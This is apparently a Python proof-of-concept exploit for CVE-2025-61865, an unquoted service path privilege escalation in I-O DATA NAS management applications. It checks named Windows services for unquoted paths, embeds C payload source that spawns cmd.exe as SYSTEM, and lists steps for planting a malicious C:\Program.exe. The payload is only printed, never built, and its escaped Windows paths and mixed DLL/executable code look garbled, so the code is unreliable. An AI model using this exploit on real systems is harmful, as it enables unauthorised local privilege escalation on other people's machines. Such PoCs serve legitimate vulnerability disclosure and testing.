#!/usr/bin/env python3
"""
CVE-2025-61865 PoC - Unquoted Service Path Privilege Escalation
Target: I-O DATA NAS Management Applications (NarSuS App, Clone for Windows)
Author:
[email protected]
"""
import os
import sys
import time
import subprocess
def check_unquoted_paths():
"""Check for unquoted service paths in affected applications"""
services = [
"NarSuS_UpdateService",
"NarSuS_MonitorService",
"CloneForWinService"
]
print("[*] Checking for unquoted service paths...")
for service in services:
try:
result = subprocess.run(
["sc", "qc", service],
capture_output=True,
text=True
)
if "BINARY_PATH_NAME" in result.stdout:
print(f"[+] Found service: {service}")
for line in result.stdout.split("\n"):
if "BINARY_PATH_NAME" in line:
print(f" Path: {line.strip()}")
# Check if path contains spaces and no quotes
path = line.split(":", 1)[1].strip()
if " " in path and not path.startswith('"'):
print(f" [!] VULNERABLE: Unquoted path with spaces detected!")
except Exception as e:
print(f"[-] Error checking {service}: {e}")
def create_payload(exploit_path):
"""Generate malicious executable for privilege escalation"""
payload_code = f'''
#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {{
switch (ul_reason_for_call) {{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
// Create reverse shell or execute arbitrary code as SYSTEM
WinExec("cmd.exe /c whoami > C:\\\\temp_pwned.txt", SW_HIDE);
break;
}}
return TRUE;
}}
int main() {{
// This executable will be placed at the unquoted path
// and executed with SYSTEM privileges
FILE *f = fopen("C:\\\\\\\\windows\\\\\\\\temp_pwned.txt", "w");
if (f) {{
fprintf(f, "SYSTEM shell obtained via CVE-2025-61865\\n");
fclose(f);
}}
// Spawn SYSTEM cmd.exe
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
CreateProcess("C:\\\\\\\\windows\\\\\\\\\\\\system32\\\\\\\\cmd.exe",
NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
return 0;
}}
'''
print(f"[!] In real attack, malicious executable would be placed at:")
print(f" {exploit_path}")
print(f"[!] This file will be executed with SYSTEM privileges when service starts")
def main():
print("="*60)
print("CVE-2025-61865 PoC - Unquoted Service Path")
print("Target: I-O DATA NAS Management Applications")
print("="*60)
# Step 1: Identify vulnerable services
check_unquoted_paths()
# Step 2: Generate exploitation path
# Example: If service path is "C:\Program Files\I-O DATA\NarSuS\service.exe"
# Attacker places malicious.exe at "C:\Program Files\I-O.exe"
print("\n[*] Exploitation strategy:")
print(" 1. Identify unquoted service path containing spaces")
print(" 2. Calculate intermediate path for exploitation")
print(" 3. Place malicious executable at that path")
print(" 4. Wait for service restart or system reboot")
print(" 5. Gain SYSTEM privileges")
# Example vulnerable path
example_path = "C:\\\\Program Files\\\\I-O DATA\\\\NarSuS\\\\NarSuS_service.exe"
exploit_path = "C:\\\\Program.exe" # First space-separated word
create_payload(exploit_path)
print("\n[*] Mitigation: Apply vendor patches or use quoted paths")
if __name__ == "__main__":
main()